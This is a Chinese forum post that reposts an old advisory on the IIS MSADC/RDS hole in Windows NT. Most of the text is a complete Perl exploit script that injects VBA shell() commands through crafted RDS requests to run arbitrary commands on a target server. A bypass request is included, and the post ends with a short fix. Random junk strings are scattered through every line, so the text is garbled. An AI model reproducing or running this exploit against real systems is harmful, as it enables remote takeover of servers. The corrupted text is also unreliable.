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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Kd=%tNp  
*T~Ve;3h;  
涉及程序: ub;ZtsM,%  
Microsoft NT server 8"fD`jtQ  
$ep.-I>  
描述: {|1Y:&M?   
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 .8y3O]  
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详细: t=-SH^$SR  
如果你没有时间读详细内容的话,就删除: 1$%V{4bJ  
c:\Program Files\Common Files\System\Msadc\msadcs.dll +eX@U;J,g  
有关的安全问题就没有了。 4)U.5FBk )  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 .R9IL-3fO  
~fT_8z  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 pb$~b\s]=  
关于利用ODBC远程漏洞的描述,请参看: <K8\n^i~c  
wyQzM6:,yX  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm *7h!w!LN~  
%5A+V0D0'  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 mL_j4=ER@  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp %YSu8G_t  
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这里不再论述。 k&. Jk B"  
US%^#D q  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: DXa-rk8  
9Iz%ht  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset hb^7oq"a  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! "V$Bnz\n  
w*|7!iM  
uvV;Mlo]  
#将下面这段保存为txt文件,然后: "perl -x 文件名" v0YG,)_  
R8T] 2?Q1  
#!perl bIEhgiH  
# !X<~-G2)l  
# MSADC/RDS 'usage' (aka exploit) script cdG |m[  
# kjtjw1\o  
# by rain.forest.puppy Hv\-_>}K  
# ]@0NO;bK>F  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me vsr[ur[eP  
# beta test and find errors! cg*)0U-_(  
m/qbRk68s  
use Socket; use Getopt::Std; /Ne<V2AX  
getopts("e:vd:h:XR", \%args); 61j I  
[fKUyIY_  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; !V,{_(LT  
`zE}1M%y  
if (!defined $args{h} && !defined $args{R}) { %LZ({\5K#f  
print qq~ a'jR#MQl?  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ?zsB6B?;  
-h <host> = host you want to scan (ip or domain) 9`w)  
-d <seconds> = delay between calls, default 1 second HH@qz2w  
-X = dump Index Server path table, if available |)K]U  
-v = verbose IrWD%/$H  
-e = external dictionary file for step 5 S-'fS2  
gW1b~( fD  
Or a -R will resume a command session X0M1(BJgGo  
SJ};TEA  
~; exit;} C,pJ`:P  
'^FGc  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; "eWYv3z~-  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} & _g TD  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ,ML[Wr'2  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); I~9hx*!%%  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} GR"Eas.$  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Sf,R^9#|  
Eyh51IB.  
if (!defined $args{R}){ $ret = &has_msadc; `UQf2o0%3w  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} p mFk50`  
%bD}m!  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 4|`Bq}sjZf  
. "cmd /c "; P7x =  
$in=<STDIN>; chomp $in; H_ez'yy  
$command="cmd /c " . $in ; )"m!YuS Y  
l $jxLZ  
if (defined $args{R}) {&load; exit;} r@o6voX  
0`I-2M4F*Q  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; DmBS0NyR7Y  
&try_btcustmr; ZKOXI%~Mc  
_"#!e{N|  
print "\nStep 2: Trying to make our own DSN..."; n]u<!.X  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; \#>T~.Y7K  
/g$G_}  
print "\nStep 3: Trying known DSNs..."; W":PG68  
&known_dsn; `St.+6^J  
C{q:_M;  
print "\nStep 4: Trying known .mdbs..."; v,\R, {0  
&known_mdb; D^-7JbE]  
Kmdlf,[3d  
if (defined $args{e}){ yx<WSgWZ[  
print "\nStep 5: Trying dictionary of DSN names..."; Qo1eXMW  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 60)iw4<wf  
hAjM1UQ,Y  
print "Sorry Charley...maybe next time?\n"; d)"?mD:m/M  
exit; bC3 F  
4ON_$FUe  
############################################################################## @5[kcU>  
]Y| 9?9d  
sub sendraw { # ripped and modded from whisker f5GdZ_  
sleep($delay); # it's a DoS on the server! At least on mine... >Z;jY*  
my ($pstr)=@_; rX;Ys2vQ*  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || \^V`ds*.  
die("Socket problems\n"); Z xb_K  
if(connect(S,pack "SnA4x8",2,80,$target)){ fI7j):h;  
select(S); $|=1; 4 8{vE3JY  
print $pstr; my @in=<S>; i9D0]3/>  
select(STDOUT); close(S); u^j {U}  
return @in; D r~=o%  
} else { die("Can't connect...\n"); }} )Y8",Ig  
ZJjTzEV%^B  
############################################################################## {h KjD"?  
?9X&tK)E-  
sub make_header { # make the HTTP request P@]8pIB0d^  
my $msadc=<<EOT wCHR7X0*b  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 fbkd"7u  
User-Agent: ACTIVEDATA thqS*I'#g  
Host: $ip NKmoG\*  
Content-Length: $clen R+~cl;#G6  
Connection: Keep-Alive %,iIpYx  
07/L}b`P  
ADCClientVersion:01.06 >2?aZ`r+  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ZK'-U,Y.H7  
0iZGPe~  
--!ADM!ROX!YOUR!WORLD! kpI{KISQu  
Content-Type: application/x-varg \M"UmSB o  
Content-Length: $reqlen 4W#E`9 6u  
6ITLGA  
EOT *E~VKx1  
; $msadc=~s/\n/\r\n/g; s ncIqsZ  
return $msadc;} 4TwQO$C  
cFagz* !  
############################################################################## TbehR:B5g  
P(>(K{v  
sub make_req { # make the RDS request T'fcc6D5p  
my ($switch, $p1, $p2)=@_; Z.wA@ ~e  
my $req=""; my $t1, $t2, $query, $dsn; zLD|/`  
O3.C:?;x  
if ($switch==1){ # this is the btcustmr.mdb query b`_w])Y@  
$query="Select * from Customers where City=" . make_shell(); ]}UgS+g>$  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 5`<eKwls  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} "|m|E/Z-9  
sgr=w+",Q  
elsif ($switch==2){ # this is general make table query pU!o7>p  
$query="create table AZZ (B int, C varchar(10))"; [Lp,Hqi5  
$dsn="$p1";} ^MmC$U^n  
Ft@Wyo`^  
elsif ($switch==3){ # this is general exploit table query !%Y~~'5 h  
$query="select * from AZZ where C=" . make_shell(); ZE `lr+_Y  
$dsn="$p1";} ==cd>03()  
%o}(sShS  
elsif ($switch==4){ # attempt to hork file info from index server ?Mp1~{8  
$query="select path from scope()"; <g9"Cr`  
$dsn="Provider=MSIDXS;";} to6;?uC+|i  
z\/53Sy<  
elsif ($switch==5){ # bad query 6TH!vuQ1(  
$query="select"; d3]hyTqbtm  
$dsn="$p1";} 4q$H  
-K[782Q  
$t1= make_unicode($query); p[2GkP  
$t2= make_unicode($dsn); jvVi%k  
$req = "\x02\x00\x03\x00"; $A}QY5`+~S  
$req.= "\x08\x00" . pack ("S1", length($t1)); !eJCM`cp  
$req.= "\x00\x00" . $t1 ; jFerYv&K~  
$req.= "\x08\x00" . pack ("S1", length($t2)); PVa o  
$req.= "\x00\x00" . $t2 ; <TNk?df7  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ^\:2}4Uj_  
return $req;} (H?ZSeWx  
Z7jX9e"L  
############################################################################## o;[bJ Z\^x  
uvA(Rn  
sub make_shell { # this makes the shell() statement _B,_4}  
return "'|shell(\"$command\")|'";} [^~7]2i  
eu'1H@vX(  
############################################################################## Bfd-:`Jk  
j|e[s ? d  
sub make_unicode { # quick little function to convert to unicode X-B8MoG|  
my ($in)=@_; my $out; nB5Am^bP  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } H0*5_OJ!i  
return $out;} x "(9II*  
CDp8)=WJFF  
############################################################################## ^t[HoFRa  
P.sgRsL  
sub rdo_success { # checks for RDO return success (this is kludge) k:#6^!b1  
my (@in) = @_; my $base=content_start(@in); d \>2  
if($in[$base]=~/multipart\/mixed/){ <E\V`g  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} NfE.N&vI_c  
return 0;} ' 9J|=z9.  
Napf"Av  
############################################################################## 2@vj!U8  
5eX59:vtl  
sub make_dsn { # this makes a DSN for us v.W{x?5  
my @drives=("c","d","e","f"); &14W vAU  
print "\nMaking DSN: "; :G)<}j"sM  
foreach $drive (@drives) { 8 3.E0@$  
print "$drive: "; w5]l1}rl  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . :k46S<RE  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" %d: A`7x  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ' eO/PnYW  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; /'y5SlE[J  
return 0 if $2 eq "404"; # not found/doesn't exist R#4 ^s  
if($2 eq "200") { FoPginZ]J  
foreach $line (@results) { J?P]EQU  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} j.3o W  
} return 0;} ,2WH/"  
)%du@a8  
############################################################################## #1$}S=8*f  
"uu)2Xe  
sub verify_exists { 6kvV  
my ($page)=@_; X9~m8c){z  
my @results=sendraw("GET $page HTTP/1.0\n\n"); dyQh:u -  
return $results[0];} \Kd7dK9&]  
~hURs;Sb  
############################################################################## ${U6=  
{TZE/A3D,  
sub try_btcustmr { u9![6$R  
my @drives=("c","d","e","f"); <?$kI>Ot  
my @dirs=("winnt","winnt35","winnt351","win","windows"); H?}wl%  
Kla:e[{  
foreach $dir (@dirs) { um8AdiK  
print "$dir -> "; # fun status so you can see progress R9. HD?H@  
foreach $drive (@drives) { U  5`y  
print "$drive: "; # ditto @~jxG%y86  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; zj]b&In6;  
$reqlenlen=length( "$reqlen" ); )LswSV  
$clen= 206 + $reqlenlen + $reqlen; ~Sy-ga J  
Jm![W8L  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); gw Qvao  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} A|<;  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} |#TXE|#ux  
RT"O;P  
############################################################################## +0pW/4x  
PW_`qP:  
sub odbc_error { i+~QDo(Pi  
my (@in)=@_; my $base; vmKT F!;  
my $base = content_start(@in); PO ko]@~!i  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this a'[)9:  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; X9'xn 0n;  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; =|y|P80w  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; bNvAyKc-  
return $in[$base+4].$in[$base+5].$in[$base+6];} B- Y+F  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 'TEyP56  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . R}J-nJlb  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 'yNPhI  
5fHYc0  
############################################################################## Tkrx7C s(  
v#=ayWgk  
sub verbose { n0.8)=;2  
my ($in)=@_; i X/tt  
return if !$verbose; ",Wf uz  
print STDOUT "\n$in\n";} L_*L`!vQA"  
?@a$!_  
############################################################################## {v+a!#{c7  
i=Kvz4h  
sub save { ~t9$IB  
my ($p1, $p2, $p3, $p4)=@_; K<,Y^3]6?  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; N&B>#:  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; dy_.(r5[L]  
close OUT;} \r]('x3S  
Za\RM[Z!I  
############################################################################## silp<13HN  
a R#Cot  
sub load { '?R=P  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; nx :)k-p_[  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); I2*oTUSik  
@p=<IN>; close(IN); |p'i,.(c_W  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); K%<GU1]-]  
$target= inet_aton($ip) || die("inet_aton problems"); d2ofxfpg+  
print "Resuming to $ip ..."; /:6Q.onmLn  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; $f(agG]  
if($p[1]==1) { zZYHc?Z  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; -ddOh<U>  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; s1@@o#r  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ew"m!F#  
if (rdo_success(@results)){print "Success!\n";} B_@7IbB  
else { print "failed\n"; verbose(odbc_error(@results));}} 6 ZHv,e`?  
elsif ($p[1]==3){ |Y4q+sDW  
if(run_query("$p[3]")){ RQ5P}A 3H  
print "Success!\n";} else { print "failed\n"; }} K|~AA"I;  
elsif ($p[1]==4){ u.&|CF-  
if(run_query($drvst . "$p[3]")){ NlFo$Y  
print "Success!\n"; } else { print "failed\n"; }} a&:>Ped"  
exit;} rHo6iJj  
9<qx!-s2rr  
############################################################################## ZX]A )5G  
-$tCF>,  
sub create_table { tnRJ#[Io  
my ($in)=@_; 'WnpwY  
$reqlen=length( make_req(2,$in,"") ) - 28; O<iI  
$reqlenlen=length( "$reqlen" ); Ey = 4 b  
$clen= 206 + $reqlenlen + $reqlen; 8a!2zwUBV  
my @results=sendraw(make_header() . make_req(2,$in,"")); tAt;bYjb\  
return 1 if rdo_success(@results); (lWKy9eTy`  
my $temp= odbc_error(@results); verbose($temp); 1?]J;9p  
return 1 if $temp=~/Table 'AZZ' already exists/; QZYM9a>  
return 0;} sBB:$X  
}u7D9_KU  
############################################################################## &u4Ve8#  
z{V8@q/  
sub known_dsn { T;%+]:w<  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go %rFllb7  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ?7 X3 P  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", u dUXc6U  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); T@>6 3  
Q5T(nEA  
foreach $dSn (@dsns) { M->Kz{h?j  
print "."; `0[fLEm  
next if (!is_access("DSN=$dSn")); SJF2k[da  
if(create_table("DSN=$dSn")){ !z.^(Tj  
print "$dSn successful\n"; xF^r`  
if(run_query("DSN=$dSn")){ wISzT^RS  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { YL!oF^XO  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 1[# =,  
tdb4?^.s  
############################################################################## uyvskz\  
;9Hz{ej  
sub is_access { .>oM z&  
my ($in)=@_; 3?]S,~!F  
$reqlen=length( make_req(5,$in,"") ) - 28; PKATw>zg<  
$reqlenlen=length( "$reqlen" ); ~EPjZ3 ?  
$clen= 206 + $reqlenlen + $reqlen; s!=!A  
my @results=sendraw(make_header() . make_req(5,$in,"")); G)K9la<p  
my $temp= odbc_error(@results); !zl/0o  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); "9.6\Y\*  
return 0;} ~v,!n/('  
hXBqz9  
############################################################################## Zm5nLxM  
]#+5)[N$>  
sub run_query { <6gU2@1  
my ($in)=@_; M`q#,Y?3^I  
$reqlen=length( make_req(3,$in,"") ) - 28; J~:kuf21  
$reqlenlen=length( "$reqlen" ); 2%*|fF}I  
$clen= 206 + $reqlenlen + $reqlen; Dj/Q1KY$m  
my @results=sendraw(make_header() . make_req(3,$in,"")); )8\Z=uC  
return 1 if rdo_success(@results); Vc{/o=1u  
my $temp= odbc_error(@results); verbose($temp); Wa@6VY  
return 0;} $t%"Tr  
*E$H;wKs8  
############################################################################## @$_rEdwi  
l'P[5'.  
sub known_mdb { Y~<rQ  
my @drives=("c","d","e","f","g"); WJP`0f3  
my @dirs=("winnt","winnt35","winnt351","win","windows"); pvI&-D #}  
my $dir, $drive, $mdb; '$lw[1  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Y&~5k;>'_  
V}p*HB@:  
# this is sparse, because I don't know of many 9n-RXVL+  
my @sysmdbs=( "\\catroot\\icatalog.mdb", <`^>bv9  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", l ,ZzB,"  
"\\system32\\certmdb.mdb", X6n|Xq3k  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% s; ~J2h[  
!Q\X)C  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ye9QTK6$,  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Pau&4h0  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", VK"[=l  
"\\cfusion\\cfapps\\security\\realm_.mdb", dVK@Fgo  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", zX006{vig  
"\\cfusion\\database\\cfexamples.mdb", &xF4p,7  
"\\cfusion\\database\\cfsnippets.mdb", }P7xdQ6  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", +*]SP@|IYI  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", R?i-"JhW  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 8'>.#vyMGv  
"\\cfusion\\database\\smpolicy.mdb", xy2eJJq  
"\\cfusion\\database\cypress.mdb", e=|F(iW  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", #IcT @(  
"\\website\\cgi-win\\dbsample.mdb", s#4))yUR6Z  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", )3d:S*ly  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" _AA`R`p;  
); #these are just L+`}euu5  
foreach $drive (@drives) { $H %+k?  
foreach $dir (@dirs){ Qq6%53  
foreach $mdb (@sysmdbs) { a2 IV!0x  
print "."; L|vaTidc0  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Bx_8@+  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 1WZKQeOo  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ mk$Yoz  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; X*D5y8<  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Z.Lx^h+U  
WcQZFtW  
foreach $drive (@drives) { uugzIV)  
foreach $mdb (@mdbs) { M}{n6T6B  
print "."; 4?* `:  
if(create_table($drv . $drive . $dir . $mdb)){ t2`X!`  
print "\n" . $drive . $dir . $mdb . " successful\n"; xNkwTDN5  
if(run_query($drv . $drive . $dir . $mdb)){ u:p:*u_^I  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; +U c&%Px  
} else { print "Something's borked. Use verbose next time\n"; }}}} \ltErd-  
} C[HE4xF6  
VbY>l' rY  
############################################################################## :5n"N5Go  
+$Ddd`J'  
sub hork_idx { oC;l5v<  
print "\nAttempting to dump Index Server tables...\n"; ^[SbV^DOL  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; gw*yIZ@3)  
$reqlen=length( make_req(4,"","") ) - 28; cftn`:(&8  
$reqlenlen=length( "$reqlen" ); !~VR|n-  
$clen= 206 + $reqlenlen + $reqlen; mDe+ M {/  
my @results=sendraw2(make_header() . make_req(4,"","")); ~Y}Z4" o  
if (rdo_success(@results)){ mw%[qeL V  
my $max=@results; my $c; my %d; ~gcst;  
for($c=19; $c<$max; $c++){ Qg86XU%l  
$results[$c]=~s/\x00//g; I NFz X  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ph5xW<VNP  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; {jCu9 ]c!  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; QvT-&|  
$d{"$1$2"}="";} 0*'`%W+5  
foreach $c (keys %d){ print "$c\n"; } s}p GJ&C  
} else {print "Index server doesn't seem to be installed.\n"; }} (h8hg+l o  
x Jj8njuq4  
############################################################################## Vf\?^h(tP  
(D +{0 /  
sub dsn_dict { E2ayK> ,  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); KX=:)%+  
while(<IN>){ 4jue_jsle  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; e`gGzyM  
next if (!is_access("DSN=$dSn")); Q?I"J$]&L  
if(create_table("DSN=$dSn")){ ADJ5ZD<Q  
print "$dSn successful\n"; dk, I?c &  
if(run_query("DSN=$dSn")){ :9O0?6:B|  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {  Cq~ah  
print "Something's borked. Use verbose next time\n";}}} =QO1FO  
print "\n"; close(IN);} 2*UE&Gp  
fQ?n(  
############################################################################## 8u~\]1 (  
OD2ai]!v+  
sub sendraw2 { # ripped and modded from whisker :pV("tHE  
sleep($delay); # it's a DoS on the server! At least on mine... PK|`}z9  
my ($pstr)=@_; Z-;uzx  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || PSrt/y!  
die("Socket problems\n"); %V" +}Dr  
if(connect(S,pack "SnA4x8",2,80,$target)){ h-)A?%Xt  
print "Connected. Getting data"; J 6d n~nPK  
open(OUT,">raw.out"); my @in; ]!S)O|_D[  
select(S); $|=1; print $pstr; emDvy2uA#  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Rh-8//&vZ/  
close(OUT); select(STDOUT); close(S); return @in; \c@qtIc  
} else { die("Can't connect...\n"); }} cq+M *1;  
|SXMu_w  
############################################################################## [laL6  
WRU@i;l  
sub content_start { # this will take in the server headers MjF.>4  
my (@in)=@_; my $c; R4J>M@-0v  
for ($c=1;$c<500;$c++) { 86) 3XE[ 5  
if($in[$c] =~/^\x0d\x0a/){ =-B3vd:LF  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Ot:\h  
else { return $c+1; }}} ]mGsNQ ].H  
return -1;} # it should never get here actually 'c+qBSDA  
XC8z|A-@  
############################################################################## /x"pj3  
>+c`GpZH  
sub funky { ne%OTr 4dD  
my (@in)=@_; my $error=odbc_error(@in); >c'_xa?^G  
if($error=~/ADO could not find the specified provider/){ \~1zAiSd>#  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; K Lv  
exit;} 3B_} :  
if($error=~/A Handler is required/){ )9sr,3w  
print "\nServer has custom handler filters (they most likely are patched)\n"; 2|_Jup  
exit;} 1Mhc1MU  
if($error=~/specified Handler has denied Access/){ &Bdt+OQ ;  
print "\nServer has custom handler filters (they most likely are patched)\n"; <raqp Oo&  
exit;}} y<LwrrJ>  
bz,cfc;?$  
############################################################################## m^s2kB4A[  
-gX2{dW  
sub has_msadc { g>oYEFFJ  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); `8 b6 /  
my $base=content_start(@results); SJuf`  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); N?<@o2{  
return 0;} Q24:G  
 ( Vv[  
######################## }4ghT(C}$  
M6d w~0e  
o>,z %+  
解决方案: {<{G 1y~  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll J'4@-IM  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 }Knq9cf  
[/,6O  
拿出来充数 哈哈
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